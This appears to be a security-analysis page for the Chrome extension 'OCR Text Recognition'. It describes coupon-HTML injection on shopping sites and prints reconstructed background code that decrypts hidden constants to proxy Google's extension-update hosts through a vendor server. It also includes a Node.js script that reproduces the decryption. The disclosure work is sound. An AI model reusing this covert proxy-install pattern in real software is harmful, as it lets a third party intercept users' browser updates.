Is OCR Text Recognition safe?
OCR Text Recognition injects coupon HTML from api.pictureknow.com into Taobao, Tmall, and JD product pages.
OCR Text Recognition loads coupon configuration from api.pictureknow.com on Taobao, Tmall, and JD product pages, then appends server-controlled button HTML into those pages. Its background update routine also checks api.pictureknow.com and can temporarily proxy Chrome update hosts through agency.pictureknow.com if its direct Google update probe fails.
Who publishes ittomxuxu - 9 other listings from the same operator, 4 of them carrying a finding
tomxuxu - 9 other listings from the same operator, 4 of them carrying a finding
What this publisher told the store about itself, and the other listings that told it the same thing.
Same store account
9 other listings published from this account, 176k+ users between them. 4 of them carry a finding.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
Update checker can proxy Google's own update servers through a vendor host
Code analysis shows the background script decrypts a hardcoded AES-256 key to build a proxy that reroutes clients2.google.com through agency.pictureknow.com when a version check reports an update and Google's server is unreachable.
- Severity
- Medium unwanted
- Type
- Unexpected
- CWE
- CWE-506
- Source
- Dynamic sandbox
Every 180 minutes, and at every browser startup, the extension polls a vendor endpoint and, on a newer version, probes clients2.google.com.
If that probe fails and the browser's proxy setting is still controllable by the extension, it moves to install a proxy.
The extension decrypts a hardcoded AES-256 key to build a PAC script routing clients2.google.com and clients2.googleusercontent.com through agency.pictureknow.com.
It then forces a fresh update check through that proxy and removes the proxy setting shortly after.
The proxy target and the two Google hostnames it reroutes are stored as AES-256-CBC ciphertext in the shipped code, not as plaintext strings.
{ "protocol": "https", "server": "agency.pictureknow.com", "extension_update": "clients2.google.com", "extension_update_address": "clients2.googleusercontent.com"}The update-probe-and-proxy routine
// Renamed from the class methods on `A` (the update controller) in background.js.// `t` = the update controller instance, `b` = the config object holding the// encrypted proxy constants, `w` = the AES helper (w.decrypte).update() { // Probe Google's own extension-update host directly first. fetch("https://clients2.google.com/").then(() => { // Reachable: do nothing further this cycle. }).catch(() => { // Unreachable (or blocked) -> check whether this extension can set the // browser's proxy at all. chrome.proxy.settings.get({}, (settings) => { if (settings.levelOfControl === "controlled_by_this_extension") { this.forceCheckUpdate(); } else if ( settings.levelOfControl === "controllable_by_this_extension" && settings.value.mode === "system" ) { this.setProxy(() => this.forceCheckUpdate()); } }); });}forceCheckUpdate() { chrome.runtime.requestUpdateCheck(() => this.clearProxy()); // Belt-and-braces: also clear the proxy on its own 1-minute alarm. Alarms.createAlarm("clear-proxy", 1); Alarms.listen("clear-proxy", () => this.clearProxy());}clearProxy() { chrome.proxy.settings.get({}, (settings) => { if (settings.levelOfControl === "controlled_by_this_extension") { chrome.proxy.settings.clear({}); } });}setProxy(done) { // Decrypt the vendor's own AES-256-CBC ciphertext embedded in config object `b`. const protocol = crypto.decrypte(config.protocol); // "https" const server = crypto.decrypte(config.server); // "agency.pictureknow.com" const updateHost = crypto.decrypte(config.extension_update); // "clients2.google.com" const updateAddrHost = crypto.decrypte(config.extension_update_address); // "clients2.googleusercontent.com" const pacScript = { mode: "pac_script", pacScript: { data: `let p = "${protocol}";let s = "${server}";` + `function FindProxyForURL(u, h) {` + `if (h == "${updateHost}") {return p + " " + s + "; DIRECT";}` + `if (h == "${updateAddrHost}") {return p + " " + s + "; DIRECT";}` + `return "DIRECT";}` } }; chrome.proxy.settings.set({ value: pacScript, scope: "regular" }, done);}- agency.pictureknow.com
Vendor-controlled proxy target. Once installed, all requests to the two Google hosts below pass through this server instead of going directly to Google.
- api.pictureknow.com
Vendor-controlled version-check endpoint. Its response decides whether the probe-and-proxy routine runs at all.
Reproduces the extension's own AES-256-CBC scheme to decrypt the proxy configuration constants shipped in its background script.
- Node.js 14+
// Reproduces the extension's own AES-256-CBC scheme to decrypt the proxy// configuration constants embedded in its shipped background script.//// Key derivation observed in the shipped code:// keySeed = "1=" + "_" + "23" + "4a5" + "6e7" + "qW" -> "1=_234a56e7qW"// The MD5 hex digest of keySeed is passed into CryptoJS.enc.Utf8.parse(),// which stringifies it first -- so the AES key actually used is the// 32 ASCII characters of the MD5 hex digest (AES-256).// IV is the literal ASCII string "q23-o6+21z34Q6M8" (16 bytes).const crypto = require('crypto');const keySeed = '1=' + '_' + '23' + '4a5' + '6e7' + 'qW';const md5Hex = crypto.createHash('md5').update(keySeed, 'utf8').digest('hex');const key = Buffer.from(md5Hex, 'utf8');const iv = Buffer.from('q23-o6+21z34Q6M8', 'utf8');function decrypt(b64) { const decipher = crypto.createDecipheriv('aes-256-cbc', key, iv); return Buffer.concat([decipher.update(Buffer.from(b64, 'base64')), decipher.final()]).toString('utf8');}// Ciphertext constants copied verbatim from the shipped extension code.const config = { server: '3tJZbGljQMTh4BiwNY6RiP0p8zrtpuQog4e7vsoKjmA=', protocol: 'LBgCRNF/XO5qKkMQjaUkug==', extension_update: 'Sn3PKraH7Z6IZjWL4PXJCTzFsmAUJzFH/gYfjLZINqU=', extension_update_address: 'MaOv/OAu8yLhX7CS0bSH+7blEGf331Zf8e1O7CbHbEY=',};const out = {};for (const [k, v] of Object.entries(config)) out[k] = decrypt(v);console.log('AES key (32-char MD5 hex digest):', key.toString('utf8'));console.log('IV:', iv.toString('utf8'));console.log('Decrypted config:', JSON.stringify(out, null, 2));// Reconstructs the exact PAC script the extension builds at runtime.const pac = `let p = "${out.protocol}";let s = "${out.server}";` + `function FindProxyForURL(u, h) {` + `if (h == "${out.extension_update}") {return p + " " + s + "; DIRECT";}` + `if (h == "${out.extension_update_address}") {return p + " " + s + "; DIRECT";}` + `return "DIRECT";}`;console.log('Reconstructed PAC script:', pac);- 1Save as decrypt-proxy-config.js.
- 2Run: node decrypt-proxy-config.js.
- 3Compare the printed PAC script to the one chrome.proxy.settings.set() installs at runtime.
Two live attempts, mocking the version check and blocking Google's update host, did not capture the proxy-install call firing. The finding is confirmed independently by reproducing the code's own decryption routine.
What it can do
Permissions this extension asks for, as declared in version 2.1.5. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.
Read and change your data on every site you visit
<all_urls>
Add items to the right-click menu
contextMenus
Schedule its own background tasks
alarms
Route all of your browsing through a server of its choosing
proxy
See, disable and uninstall your other extensions, including your security ones
management
Run its own code inside the pages you visit
scripting
See the address and title of every tab you have open
tabs
Store an unlimited amount of data in your browser
unlimitedStorage
Store data in your browser
storage
Where it sends data
Destinations our analysis observed OCR Text Recognition contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.
- agency.pictureknow.com
OCR Text Recognition sends data to agency.pictureknow.com. 7 other extensions we have analysed send data here.
- api.pictureknow.com
OCR Text Recognition sends data to api.pictureknow.com. 2 other extensions we have analysed send data here.